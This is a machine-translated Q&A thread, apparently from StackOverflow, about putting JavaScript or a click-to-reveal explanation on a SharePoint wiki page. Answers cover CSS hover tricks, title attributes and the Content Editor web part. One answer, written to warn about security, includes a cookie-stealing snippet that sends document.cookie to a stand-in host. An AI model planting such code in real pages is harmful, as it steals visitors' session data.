Вопрос

Как я, как администратор вики, могу ввести скрипты (Javascript) на вики-страницу Sharepoint?

Я хотел бы ввести заголовок и, щелкнув по нему, отобразить под ним небольшое пояснение.Обычно я делал это с помощью JavaScript, есть еще идеи?

Это было полезно?

Решение

Предполагая, что вы являетесь администратором вики и готовы отображать это при наведении курсора мыши, а не при щелчке, вам вообще не нужен JavaScript — вы можете использовать обычный CSS.Вот пример стилей и разметки:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

С некоторыми более сложными стилями ваша панель подсказок может выглядеть так красиво, как вам хочется.

Другие советы

Если авторы вики мудры, вероятно, это невозможно сделать.

Проблема с пользовательским JavaScript заключается в том, что он открывает двери для всех злоумышленников, которые могут получить данные от ничего не подозревающих.

Предположим, злой я публикует сценарий на общедоступном веб-сайте:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Теперь я буду получать информацию о файлах cookie каждого посетителя страницы, опубликованную в журнале на моем сервере.И это только верхушка айсберга.

Это полностью зависит от конкретного программного обеспечения Wiki, которое вы используете.Я видел работу так: разместить js-файл где-то еще, а затем включить его в тег сценария с атрибутом src.

Если они этого не позволяют, возможно, они разрешают IFRAME, который вы можете установить на страницу, содержащую скрипт.Используя второй метод, вам не будет разрешен доступ к DOM хост-страницы.

Мне нравится ответ CSS.Использование CSS вместо Javascript приводит к упрощению разметки.
Еще одна вещь, на которую стоит обратить внимание, — это Community Kit для SharePoint Enhanced Wiki Edition на Codeplex.Вы можете скачать исходный код и добавить свои собственные функции.Или вы можете предложить это как новую функцию на форуме.

Это звучит как угроза безопасности.Кажется, администратор вики может устанавливать скрипты, см. пользовательские скрипты Википедии.

Если вы говорите об использовании Javascript как части веб-страницы на этом сайте, вы не можете этого сделать.Или любая другая общедоступная вики, если уж на то пошло – это угроза безопасности.

Если вы хотите опубликовать образец кода, нажмите кнопку «101010» над текстовым полем.

Конечно, это будет зависеть от движка вики, с которым вы разговариваете.Однако, скорее всего, как говорит Сблунди, разрешение бесплатного использования JavaScript на вики-странице было бы угрозой безопасности.

У вас не должно быть возможности добавлять код JavaScript ни в одну общедоступную вики.Если вы размещаете его самостоятельно, вам нужно запросить конкретную вики-систему, чтобы кто-нибудь мог помочь вам изменить настройки - если это вообще возможно для этой системы.

Добавлять title="text here" к любому тегу, и при наведении на него должен отображаться текст.
Internet Explorer отображает текст при использовании alt="text here" атрибут, хотя это не по стандартам.

Я сейчас протестировал, и вы можете добавить <h2 title="some explanation here">headline</h2> в любую систему, основанную на Викимедиа (ту, которую использует Википедия).

Использование веб-части редактора контента

На ленте выберите Insert и выбери Web Part.В меню перейдите к Media and Content и выбери Content Editor.В раскрывающемся меню вновь созданной веб-части выберите Edit Web Part.В правом меню настроек веб-части разверните Appearance и установить Chrome Type к None.Нажмите Click Here to Add Content на веб-части и найдите Edit HTML Source в ленте.Вы можете использовать HTML в этой области без его очистки.

Примечание:Если вы планируете добавлять поведение ко многим элементам страницы, вы можете загрузить файлы .js в библиотеку стилей и включить только <script src="..."> тег в редакторе контента.Вы также можете рассмотреть возможность использования собственного шаблона или макета страницы.

Источник: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top